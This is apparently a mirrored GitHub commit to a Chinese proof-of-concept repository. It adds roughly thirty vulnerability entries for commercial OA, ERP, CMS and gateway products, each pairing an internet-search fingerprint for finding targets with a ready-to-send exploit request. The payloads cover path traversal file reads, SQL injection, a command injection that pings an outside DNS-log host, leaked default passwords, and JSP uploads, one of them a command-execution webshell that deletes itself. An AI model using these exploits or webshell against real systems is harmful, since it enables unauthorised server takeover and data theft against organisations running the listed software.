mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
20241108更新漏洞
This commit is contained in:
wy876 committed
1 parent
e9ebc9ab7d
commit
0add3e2624
31 files changed
+1006
-1
No files matched your search
@@ -0,0 +1,23 @@
|
||||
# ArcGIS地理信息系统任意文件读取漏洞
|
||||
|
||||
ArcGIS地理信息系统 存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
app="esri-ArcGIS"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /arcgis/manager/3370/js/../WEB-INF/web.xml HTTP/1.0
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
# 金航网上阅卷系统fileUpload任意文件上传漏洞
|
||||
|
||||
衡水金航计算机科技有限公司是一家长期致力于图像标记识别采集技术及信息管理系统的软件企业。金航网上阅卷系统：可以广泛地应用于高考、中考、教育局组织的学校联考、各类学校自组织考试、各种行业考试、职称考试等。衡水金航计算机科技有限公司金航网上阅卷系统 fileUpload 任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。
|
||||
|
||||
## hunter
|
||||
|
||||
```javascript
|
||||
web.body="js/insteadSelect/jquery.insteadSelect.css"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /fileUpload HTTP/1.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
|
||||
Content-Type: multipart/form-data; boundary=00content0boundary00
|
||||
Host:
|
||||
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
|
||||
Content-Length: 351
|
||||
Connection: close
|
||||
|
||||
--00content0boundary00
|
||||
Content-Disposition: form-data; name="upload"; filename="poc.jsp"
|
||||
Content-Type: application/pdf
|
||||
|
||||
<%out.println("1234");%>
|
||||
--00content0boundary00
|
||||
Content-Disposition: form-data; name="uploadContentType"
|
||||
|
||||
pdf
|
||||
--00content0boundary00
|
||||
Content-Disposition: form-data; name="uploadFileName"
|
||||
|
||||
1.jsp
|
||||
--00content0boundary00--
|
||||
```
|
||||
|
||||
|
||||
|
||||
文件路径：`/upload/poc.jsp`
|
||||
@@ -0,0 +1,73 @@
|
||||
## EyouCMS文件包含RCE漏洞
|
||||
|
||||
First, download the latest source code from the official website:
|
||||
|
||||
After downloading, use PHPStudy Pro to set up the website:
|
||||
|
||||
Proceed with the installation process, setting up the database information and admin password:
|
||||
|
||||
In the admin panel, verify that the current version is the latest:
|
||||
|
||||
Prepare a malicious payload in the form of an image, utilizing Remote Code Execution (RCE) via template file inclusion:
|
||||
|
||||
```
|
||||
GIF89a
|
||||
<?php phpinfo();?>
|
||||
```
|
||||
|
||||
Upload the image payload:
|
||||
|
||||
Choose the WeChat public account interface:
|
||||
|
||||
Proceed with the upload and obtain the returned path:
|
||||
|
||||
|
||||
```
|
||||
uploads/allimg/20230901/1-230Z1151QR14.gif
|
||||
```
|
||||
Return to the template configuration, set up security questions:
|
||||
|
||||
After configuring security questions, edit the "index.htm" template under the PC section:
|
||||
Input the following payload:
|
||||
|
||||
```
|
||||
{eyou:include file="uploads/allimg/20230901/1-230Z1151QR14.gif" /}
|
||||
```
|
||||
Append it at the end:
|
||||
|
||||
After submission:
|
||||
|
||||
Return to the homepage, where arbitrary code execution can be observed:
|
||||
|
||||
|
||||
## Code Audit
|
||||
Firstly, the `eyou:include` tag is present in the list of parsed tags, and there is no filtering mechanism applied to it:
|
||||
```
|
||||
core\library\think\Template.php
|
||||
```
|
||||
|
||||
The template file "index.htm" is read and stored in the `$content` variable. Parsing takes place in "core\library\think\Template.php":
|
||||
We can observe the `parseEyouInclude` function:
|
||||
|
||||
Inside this function, the template is analyzed and processed, where we can see that only string operations are performed, and no security risk evaluation is conducted:
|
||||
Finally, at the end, the tags are replaced and returned:
|
||||
|
||||
Due to the absence of security filtering, the include tag's parsing result directly reads and replaces content:
|
||||
|
||||
Similarly, in the "Template.php" file, writing to the cache occurs:
|
||||
|
||||
Digging deeper:
|
||||
|
||||
```
|
||||
core\library\think\template\driver\File.php
|
||||
```
|
||||
In the `write` method, content is directly written:
|
||||
|
||||
Cache directory:
|
||||
|
||||
Ultimately, in the `read` method of "File.php," the temporarily generated file is included, leading to Remote Code Execution (RCE):
|
||||
|
||||
```
|
||||
core\library\think\template\driver\File.php
|
||||
```
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
## H3C-CVM-fd接口前台任意文件上传漏洞复现
|
||||
|
||||
H3C CVM /cas/fileUpload/fd 接口存在任意文件上传漏洞，未授权的攻击者可以上传任意文件，获取 webshell，控制服务器权限，读取敏感信息等。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
app="H3C-CVM"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /cas/fileUpload/fd HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.123 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryMMqEBbEFHlzOcYq4
|
||||
Connection: close
|
||||
|
||||
--WebKitFormBoundaryMMqEBbEFHlzOcYq4
|
||||
Content-Disposition: form-data; name="token"
|
||||
|
||||
/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/a.jsp
|
||||
--WebKitFormBoundaryMMqEBbEFHlzOcYq4
|
||||
Content-Disposition: form-data; name="file"; filename="a.jsp"
|
||||
Content-Type: image/png
|
||||
|
||||
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
|
||||
--WebKitFormBoundaryMMqEBbEFHlzOcYq4--
|
||||
```
|
||||
|
||||
|
||||
|
||||
访问文件路径
|
||||
|
||||
```
|
||||
/cas/js/lib/buttons/a.jsp
|
||||
```
|
||||
@@ -1,5 +1,5 @@
|
||||
# 漏洞收集
|
||||
收集整理漏洞EXP/POC,大部分漏洞来源网络，目前收集整理了1100多个poc/exp，善用CTRL+F搜索
|
||||
收集整理漏洞EXP/POC,大部分漏洞来源网络，目前收集整理了1200多个poc/exp，善用CTRL+F搜索
|
||||
|
||||
## 贡献者
|
||||
|
||||
@@ -9,6 +9,38 @@
|
||||
<img src="https://contrib.rocks/image?repo=wy876/POC" />
|
||||
</a>
|
||||
|
||||
## 2024.11.08 新增漏洞
|
||||
|
||||
- [Vben-Admin存在硬编码漏洞](./Vben-Admin/Vben-Admin存在硬编码漏洞.md)
|
||||
- [F22服装管理软件系统Load存在任意文件读取漏洞](./广州锦铭泰软件/F22服装管理软件系统Load存在任意文件读取漏洞.md)
|
||||
- [明源地产ERP系统WFWebService存在反序列化漏洞](./明源云/明源地产ERP系统WFWebService存在反序列化漏洞.md)
|
||||
- [蓝凌OA-EKP系统接口hrStaffWebService存在任意文件读取漏洞](./蓝凌OA/蓝凌OA-EKP系统接口hrStaffWebService存在任意文件读取漏洞.md)
|
||||
- [泛微E-Cology9平台QRcodeBuildAction存在身份认证绕过导致SQL注入漏洞](./泛微OA/泛微E-Cology9平台QRcodeBuildAction存在身份认证绕过导致SQL注入漏洞.md)
|
||||
- [亿赛通CDG电子文档安全管理系统DelHookService存在sql注入漏洞(CVE-2024-10660)](./亿赛通电子文档安全管理系统/亿赛通CDG电子文档安全管理系统DelHookService存在sql注入漏洞(CVE-2024-10660).md)
|
||||
- [易思智能物流无人值守系统ExportReport存在SQL注入漏洞](./易思智能物流无人值守系统/易思智能物流无人值守系统ExportReport存在SQL注入漏洞.md)
|
||||
- [易思智能物流无人值守系统login存在SQL注入漏洞](./易思智能物流无人值守系统/易思智能物流无人值守系统login存在SQL注入漏洞.md)
|
||||
- [易思智能物流无人值守系统DownFile任意文件读取漏洞](./易思智能物流无人值守系统/易思智能物流无人值守系统DownFile任意文件读取漏洞.md)
|
||||
- [H3C-CVM-fd接口前台任意文件上传漏洞复现](./H3C/H3C-CVM-fd接口前台任意文件上传漏洞复现.md)
|
||||
- [东胜物流软件AttributeAdapter.aspx存在SQL注入漏洞](./东胜物流软件/东胜物流软件AttributeAdapter.aspx存在SQL注入漏洞.md)
|
||||
- [ArcGIS地理信息系统任意文件读取漏洞](./ArcGIS/ArcGIS地理信息系统任意文件读取漏洞.md)
|
||||
- [EyouCMS文件包含RCE漏洞](./EyouCMS/EyouCMS文件包含RCE漏洞.md)
|
||||
- [宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞](./宏景OA/宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞.md)
|
||||
- [顺景ERP管理系统UploadInvtSpBuzPlanFile存在任意文件上传漏洞](./顺景ERP/顺景ERP管理系统UploadInvtSpBuzPlanFile存在任意文件上传漏洞.md)
|
||||
- [顺景ERP管理系统FileUpload存在任意文件上传漏洞](./顺景ERP/顺景ERP管理系统FileUpload存在任意文件上传漏洞.md)
|
||||
- [全程云OA系统QCPES.asmx存在SQL注入漏洞](./全程云OA/全程云OA系统QCPES.asmx存在SQL注入漏洞.md)
|
||||
- [ZKBioSecurity存在shiro反序列漏洞](./ZKBioSecurity/ZKBioSecurity存在shiro反序列漏洞.md)
|
||||
- [美特CRM系统接口sync_emp_weixin存在反序列化漏洞](./美特CRM系统/美特CRM系统接口sync_emp_weixin存在反序列化漏洞.md)
|
||||
- [索贝融媒体存在硬编码漏洞](./成都索贝数码科技/索贝融媒体存在硬编码漏洞.md)
|
||||
- [金蝶EAS存在appUtil.jsp命令执行漏洞](./金蝶/金蝶EAS存在appUtil.jsp命令执行漏洞.md)
|
||||
- [明源云ERP接口VisitorWeb_XMLHTTP.aspx存在SQL注入漏洞](./明源云/明源云ERP接口VisitorWeb_XMLHTTP.aspx存在SQL注入漏洞.md)
|
||||
- [聚合支付平台接口sdcustomno存在SQL注入漏洞](./聚合支付/聚合支付平台接口sdcustomno存在SQL注入漏洞.md)
|
||||
- [苹果IOS端IPA签名工具Sign.php前台任意命令执行漏洞](./分发签名系统/苹果IOS端IPA签名工具Sign.php前台任意命令执行漏洞.md)
|
||||
- [和信创天云桌面系统newserver远程命令执行漏洞](./和信创天/和信创天云桌面系统newserver远程命令执行漏洞.md)
|
||||
- [金航网上阅卷系统fileUpload任意文件上传漏洞](./EDU/衡水金航/金航网上阅卷系统fileUpload任意文件上传漏洞.md)
|
||||
- [HANDLINK-ISS-7000v2网关login_handler.cgi未授权RCE漏洞](./瀚霖科技股份有限公司/HANDLINK-ISS-7000v2网关login_handler.cgi未授权RCE漏洞.md)
|
||||
- [电信网关配置管理后台upload_channels.php接口存在文件上传漏洞](./电信网关配置管理/电信网关配置管理后台upload_channels.php接口存在文件上传漏洞.md)
|
||||
- [爱数AnyShare智能内容管理平台Usrm_GetAllUsers信息泄露漏洞](./上海爱数信息/爱数AnyShare智能内容管理平台Usrm_GetAllUsers信息泄露漏洞.md)
|
||||
|
||||
## 2024.11.02 新增漏洞
|
||||
|
||||
- [万户ezoffice协同办公平台SignatureEditFrm存在SQL注入漏洞](./万户OA/万户ezoffice协同办公平台SignatureEditFrm存在SQL注入漏洞.md)
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# Vben-Admin存在硬编码漏洞
|
||||
<font style="color:rgba(0, 0, 0, 0.84);">Vue Vben Admin是一个免费开源的中端和后端模板。采用最新的vue3、vite、TypeScript等主流技术开发，开箱即用的中后端前端解决方案也可供学习参考。Vue Vben存在硬编码漏洞</font>
|
||||
|
||||
## fofa
|
||||
```javascript
|
||||
icon_hash="-317536629"
|
||||
```
|
||||
|
||||
|
||||
|
||||
## poc
|
||||
登录页面，右击查看源代码，搜索index，进入该js页面
|
||||
|
||||
|
||||
|
||||
该页面硬编码登录账号密码
|
||||
|
||||
|
||||
|
||||
使用账号密码登录系统
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
# ZKBioSecurity存在shiro反序列漏洞
|
||||
|
||||
ZKBioSecurity平台存在 shiro 反序列化漏洞，该漏洞源于软件存在硬编码的 shiro-key，攻击者可利用该 key 生成恶意的序列化数据，在服务器上执行任意代码，执行系统命令、或打入内存马等，获取服务器权限。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
title=="ZKBioSecurity" && body="Automatic login within two weeks"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
利用工具
|
||||
|
||||
```
|
||||
https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# 爱数AnyShare智能内容管理平台Usrm_GetAllUsers信息泄露漏洞
|
||||
|
||||
爱数 AnyShare智能内容管理平台 Usrm_GetAllUsers 接口存在信息泄露漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息。可登录后台，使系统处于极不安全状态。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
app="AISHU-AnyShare"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
OST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
[1,100]
|
||||
```
|
||||
|
||||
|
||||
File renamed without changes.
@@ -0,0 +1,22 @@
|
||||
## 东胜物流软件AttributeAdapter.aspx存在SQL注入漏洞
|
||||
|
||||
东胜物流软件AttributeAdapter.aspx存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /FeeCodes/AttributeAdapter.aspx?handle=attrinfo&attrid=1%27%20and%201=@@version%20-- HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0)Firefox/129.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Connection: close
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# 亿赛通CDG电子文档安全管理系统DelHookService存在sql注入漏洞(CVE-2024-10660)
|
||||
|
||||
亿赛通CDG电子文档安全管理系统，该漏洞源于文件/com/esafenet/servlet/policy/HookService.java的参数hookId会导致SQL注入。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/CDGServer3/index.jsp"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /CDGServer3/parameter/HookService;logindojojs?command=DelHookService&hookId=1';if(db_name()='CobraDGServer')+WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
|
||||
Host:
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Ldwk: bG91ZG9uZ3dlbmt1
|
||||
Accept-Language: zh-Hans-CN;q=1
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞来源
|
||||
|
||||
- https://flowus.cn/share/9d33a5d8-87b1-482b-8642-a8fcf27585ba?code=G8A6P3
|
||||
@@ -0,0 +1,49 @@
|
||||
# 全程云OA系统QCPES.asmx存在SQL注入漏洞
|
||||
|
||||
全程云OA QCPES.asmx 接口多个实例处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息，在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="images/yipeoplehover.png"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /OA/PES/QCPES.asmx HTTP/1.1
|
||||
Host:
|
||||
Content-Type: text/xml; charset=utf-8
|
||||
Content-Length: length
|
||||
SOAPAction: "http://tempuri.org/GetCode"
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<GetCode xmlns="http://tempuri.org/">
|
||||
<fk_parid>1' UNION ALL SELECT @@VERSION-- oCWH</fk_parid>
|
||||
<value>1</value>
|
||||
</GetCode>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
```
|
||||
|
||||
```javascript
|
||||
POST /OA/PES/QCPES.asmx HTTP/1.1
|
||||
Host:
|
||||
Content-Type: text/xml; charset=utf-8
|
||||
Content-Length: length
|
||||
SOAPAction: "http://tempuri.org/GetValue"
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<GetValue xmlns="http://tempuri.org/">
|
||||
<fk_parid>1</fk_parid>
|
||||
<code>1' UNION ALL SELECT @@VERSION-- oCWH</code>
|
||||
</GetValue>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
# 苹果IOS端IPA签名工具Sign.php前台任意命令执行漏洞
|
||||
|
||||
苹果IOS端IPA签名工具Sign.php前台任意命令执行漏洞，可能导致攻击者任意上传文件，控制服务器权限。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/assets/index/css/mobileSelect.css"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /api/sign/sign?udidres[0][sjskg]=1&noinject[name]=a&ttname=1&udid=1&appname=1&appid=a&appicon=1&apppath=|id>2.txt|&p12path=1&mppath=1&appbid=1&ipaPath=1&gm=0&filesPath=1&rm=1&app_name=1 HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
# 和信创天云桌面系统newserver远程命令执行漏洞
|
||||
|
||||
和信创天云桌面系统newserver远程命令执行漏洞
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
icon_hash="-1515283145" || title="和信下一代云桌面VENGD"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /vesystem/index.php/New/Fn/newserver HTTP/1.1
|
||||
Host:
|
||||
Accept-Encoding: gzip
|
||||
Connection: close
|
||||
Content-Length: 118
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
||||
|
||||
ip=`ping dnslog`&user=1&pwd=1&type=1&c_type=1&local=1&server_os_str=1&server_os_version_str=1
|
||||
```
|
||||
|
||||
|
||||
|
||||
## yaml
|
||||
|
||||
```yaml
|
||||
id: fox-template
|
||||
|
||||
info:
|
||||
name: fox-template
|
||||
author: fox
|
||||
severity: high
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /vesystem/index.php/New/Fn/newserver HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Encoding: gzip
|
||||
Connection: close
|
||||
Content-Length: 118
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
||||
|
||||
ip=`ping {{interactsh-url}}`&user=1&pwd=1&type=1&c_type=1&local=1&server_os_str=1&server_os_version_str=1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # 配合 {{interactsh-url}} 关键词使用
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# 宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞
|
||||
宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞，可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
|
||||
|
||||
## hunter
|
||||
```javascript
|
||||
app.name="宏景 HCM"
|
||||
```
|
||||
|
||||
## poc
|
||||
1、获取cookie
|
||||
|
||||
```java
|
||||
GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
|
||||
```
|
||||
|
||||
|
||||
|
||||
2、获取上传路径
|
||||
|
||||
```java
|
||||
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
|
||||
Cookie: JSESSIONID=3199B98D03F1834F83CDAF45EA079D13
|
||||
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="path"
|
||||
|
||||
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="lfType"
|
||||
|
||||
0
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="logofile"; filename=""
|
||||
Content-Type: image/gif
|
||||
|
||||
<%= "bttest1" %>
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="twoFile"; filename=""
|
||||
Content-Type: image/gif
|
||||
|
||||
<%= "bttest1" %>
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
|
||||
```
|
||||
|
||||
|
||||
|
||||
3、文件上传
|
||||
|
||||
```java
|
||||
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
|
||||
Host: 8.137.169.49:7000
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
|
||||
Cookie: JSESSIONID=163CC9FFC3CAAEAFCF07F29B294E99F0
|
||||
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="path"
|
||||
|
||||
D~3a~5cTomcat~39~5cwebapps~5cROOT~5ctest1.jsp
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="lfType"
|
||||
|
||||
0
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="logofile"; filename=""
|
||||
Content-Type: image/gif
|
||||
|
||||
<%= "bttest1" %>
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r
|
||||
Content-Disposition: form-data; name="twoFile"; filename=""
|
||||
Content-Type: image/gif
|
||||
|
||||
<%= "bttest1" %>
|
||||
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
|
||||
```
|
||||
|
||||
|
||||
|
||||
4、访问/test123.jsp
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# F22服装管理软件系统Load存在任意文件读取漏洞
|
||||
广州锦铭泰软件科技有限公司开发的F22服装管理软件系统Load存在任意文件读取漏洞
|
||||
|
||||
## fofa
|
||||
```javascript
|
||||
body="F22WEB登陆"
|
||||
```
|
||||
|
||||
|
||||
|
||||
## poc
|
||||
```java
|
||||
GET /CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../Web.config HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: keep-alive
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
# 索贝融媒体存在硬编码漏洞
|
||||
|
||||
索贝融媒体存在硬编码漏洞，导致默认密码泄露造成的后台管理系统的非法利用。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/Sc-TaskMonitoring/" || header="Sobey"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
sobey/sobey
|
||||
sobey/Sobeyhive-2016
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
# 明源云ERP接口VisitorWeb_XMLHTTP.aspx存在SQL注入漏洞
|
||||
|
||||
明源云ERP是一款专门为房地产行业设计的企业资源计划（ERP）系统。它旨在帮助房地产公司更有效地管理其业务流程，从项目开发到销售，再到售后服务。该系统集成了财务管理、项目管理、合同管理、采购管理、销售管理等多个模块，提供端到端的解决方案。该系统某接口存在SQL注入漏洞，该漏洞可以直接执行SQL语句并且回显到数据包中。
|
||||
|
||||
## Hunter
|
||||
|
||||
```javascript
|
||||
app.name="明源云 ERP"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /CgZtbWeb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ywtype=GetParentProjectName&ParentCode=1%27+union+select+sum(3233*3323)--+z HTTP/1.1
|
||||
Host: 192.168.10.2:9061
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Windows"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Priority: u=0, i
|
||||
Connection: close
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞来源
|
||||
|
||||
- https://mp.weixin.qq.com/s/XmuRwFH1c3uE4bgb73QKsQ
|
||||
@@ -0,0 +1,31 @@
|
||||
# 明源地产ERP系统WFWebService存在反序列化漏洞
|
||||
明源地产ERP是一款专为房地产行业设计的企业资源规划(ERP) 系统，系统集成了项目管理、财务管理、客户关系管理、营销管理等个模块，旨在帮助房地产企业提升运营效率、降低成本和提高客户满意度。它充分考虑了房地产行业的特性和需求，通过整合企业的各业务环节，实现信息的统一管理和高效协同。明源地产ERP WFWebService存在反序列化漏洞。
|
||||
|
||||
# fofa
|
||||
```javascript
|
||||
title="明源地产ERP"
|
||||
```
|
||||
|
||||
|
||||
|
||||
## poc
|
||||
```javascript
|
||||
POST /MyWorkflowManagement/WebService/WFWebService.asmx HTTP/1.1
|
||||
Host:
|
||||
